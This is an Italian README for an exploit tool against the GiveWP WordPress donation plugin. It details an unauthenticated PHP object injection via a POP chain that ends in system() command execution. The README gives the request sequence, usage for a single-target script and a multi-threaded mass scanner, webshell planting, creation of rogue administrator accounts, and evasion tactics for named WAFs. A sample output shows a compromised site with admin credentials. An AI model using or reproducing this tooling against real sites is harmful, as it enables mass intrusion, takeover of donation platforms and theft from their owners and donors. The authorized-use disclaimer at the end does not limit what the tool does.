
GiveWP <= 4.16.7.1 Iniezione di Oggetti PHP Non Autenticata → RCE
Autore: Rx019
CVSS: 10.0 (Critico)
Tipo: Iniezione di Oggetti PHP Non Autenticata → Esecuzione di Codice Remoto
Plugin: GiveWP (give) — Plugin per Donazioni e Piattaforma di Raccolta Fondi
Versioni Affette: <= 4.16.7.1
Corretta: 4.16.8
GiveWP memorizza il last_name di un donatore nella sessione PHP senza sanificazione. Quando una donazione viene inviata senza il campo give_last, GiveWP deserializza il valore grezzo dal database direttamente nella sessione. Ciò consente a un attaccante non autenticato di iniettare un oggetto PHP serializzato in last_name tramite l'endpoint del profilo del donatore, per poi attivare la deserializzazione inviando una donazione appositamente predisposta — con conseguente esecuzione arbitraria di comandi tramite una catena POP pre-costruita disponibile nelle librerie vendor incluse in GiveWP.
TCPDF::__destruct()
└─ Session::getBag() ← chiama il metodo denominato da $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command da $attributeName
Classi vendor utilizzate:
| Classe | File |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Registrati come donatore → sessione autenticata (cookie wp-login)
2. POST /wp-admin/profile.php
last_name = catena TCPDF serializzata con comando system() incorporato
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (campo give_last OMESSO)
→ GiveWP legge last_name dal DB, scrive l'oggetto grezzo nella sessione
4. GET /?p={form_id}
→ la chiusura della sessione PHP attiva TCPDF::__destruct()
→ la catena POP esegue system(command)
5. Conferma shell / admin creato
pip install requests rich
Python >= 3.9
| File | Descrizione |
|---|---|
CVE-2026-82222.py | PoC per singolo target — output dettagliato passo-passo |
CVE-2026-82222-MASS.py | Scanner di massa — modalità batch multi-thread |
python CVE-2026-82222.py
Prompt interattivo:
URL del Target: https://victim.com
Oppure diretto:
python CVE-2026-82222.py https://victim.com
# Batch da file
python CVE-2026-82222-MASS.py -f targets.txt
# Numero di thread personalizzato
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Più target inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Menu interattivo
python CVE-2026-82222-MASS.py
Formato del file batch:
# Le righe che iniziano con # vengono ignorate
https://target1.com
https://target2.com
target3.com # protocollo aggiunto automaticamente come https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direct) https://victim.com │
│ Versione : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Metodo : shell + direct (nessuna scrittura .php necessaria) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulnerabili : 12 Parziali : 3 Corretti : 44 Non Vulnerabili : 21 Errori : 2 Totale : 82
Risultati salvati in ~/Documents/CVE/CVE-2026-82222/:
| File | Contenuto |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Risultato di singola esecuzione |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Risultati completi del batch |
success_results.txt | Righe VULN/PARTIAL aggiunte in coda |
L'exploit tenta due percorsi principali in sequenza:
wp_create_user() come base64 nella catena TCPDFUtilizzato quando il Percorso A fallisce o l'accesso admin non può essere verificato.
last_name tramite l'endpoint del profilogive_last)/?p={form_id})id | tee su un file .txt in uploadsSe una shell è confermata ma non esiste ancora un admin, creane uno tramite la shell usando wp_create_user() attraverso il parametro ?c= della webshell.
| WAF | Strategia |
|---|---|
| Imunify360 | Rimuovi header spoof X-Forwarded-For / X-Real-IP |
| Wordfence | Ruota User-Agent dal pool |
| Cloudflare | Imposta Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT in wp-config.php blocca il vettore dell'editor di plugin/tema — lo script lo rileva subito e passa al Percorso BRx{100-999}.php — randomizzato per ogni esecuzioneQuesto strumento è rilasciato esclusivamente per test di sicurezza autorizzati e scopi di ricerca.
Utilizzalo solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.
L'uso non autorizzato è illegale e non etico.